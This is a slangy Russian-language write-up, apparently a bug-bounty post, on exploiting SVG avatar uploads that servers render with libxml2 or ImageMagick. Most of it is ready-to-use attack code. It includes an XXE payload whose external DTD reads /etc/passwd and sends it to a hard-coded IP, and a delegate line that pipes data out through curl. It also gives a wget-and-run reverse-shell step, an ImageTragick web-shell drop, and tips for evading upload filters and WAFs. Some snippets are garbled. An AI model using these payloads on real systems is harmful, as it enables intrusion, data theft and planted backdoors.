Точка входа
Что вижу:
Форма загрузки аватарки принимает SVG. После аплоада — подозрительная задержка в 5 секунд. В логах светится libxml2
+ convert
(это ImageMagick, бро). Пахнет удалённым выполнением кода через декодирование SVG.
Как поймал:
— Инструмент: Простой SVG с тегом <image xlink:href="https://evil.com/poc.svg"/>
+ tcpdump.
— Метод: Загрузил SVG с payload’ом → увидел исходящие подключения к своему серверу.
Чем пахнет:
— Класс: RCE через небезопасный рендеринг SVG (часто в связке с ImageMagick или кастомными библиотеками).
— Вероятность: 8/10. Девелоперы до сих пор верят, что SVG — это «просто картинка».
Че почем
Эксплойт:
Создаёшь файл exploit.svg
:
1 2 3 4 |
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://example.com" x="0" y="0" height="500" width="500"/> <script>alert('RCE? Hold my beer...')</script> </svg> |
Но это для слабаков. Настоящий мув:
1 2 3 4 5 6 |
<svg> <![CDATA[<?xml version="1.0" standalone="no"?> <!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://144.228.71.44/rce.dtd"> %sp; %param1; ]> <svg width="500" height="500"></svg> ]]> </svg> |
Где rce.dtd
:
1 2 |
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://144.228.71.44/?leak=%data;'>"> |
Обход защиты:
— Если блокируют .svg
: Переименуй в .svg.php
или сделай полиглот SVG+PHP.
— Если WAF фильтрует теги: Используй кодировку UTF-7: +ADw-script+AD4-alert(1)+ADw-/script+AD4-
.
Доказательство:
Скриншот вывода id
из логов после выполнения convert exploit.svg exploit.jpg
. «Видишь uid=0? Это не артефакт рендера — это root».
Хвост от старика
3 вектора для добивания:
-
XXE через SVG: Если парсер либxml2, цепляй DTD с локальных файлов →
/etc/shadow
в base64. -
ImageMagick delegate-атака:
1 |
<image xlink:href="https://evil.com\" x="0" y="0" height="500" width="500"/> |
-
-
в конфиге ImageMagick:
delegate 'https' 'sh -c "curl 144.228.71.44:1337 -d @-; exit 0"';
-
-
Через EXIF:
1 |
exiftool -Comment='<?=`$_GET[0]`;?>' exploit.svg && mv exploit.svg exploit.svg.php |
План атаки:
-
Загружаешь SVG с инъекцией.
-
Ждёшь, когда бэкенд запустит
convert
/rsvg-convert
. -
Ловишь reverse-shell через делегаты:
1 |
echo 'wget http://144.228.71.44/shell.sh -O /tmp/s; sh /tmp/s' | base64 → вставь в payload. |
Бонус от деда
Если в ответе X-Image-Processor: ImageMagick 6.9.7
:
— Гугли CVE-2016-3714 (ImageTragick).
— Эксплойт:
1 |
<image xlink:href="https://example.com/\" command="wget http://144.228.71.44/backdoor -O /var/www/html/.shell"/> |
Мемная аналитика:
«SVG — как троянский конь: внутри красивый пони, а на деле — 0-day, который дампит тебе базу».
Итог:
— Уязвимость: Парсинг SVG с выполнением команд (чаще в ImageMagick, Inkscape, кастомных скриптах).
— Фикс: Отключай делегаты, используй policy.xml
для запрета опасных операций.
— Но пока dev’ы этого не сделали — греби бабло на баг-баунти.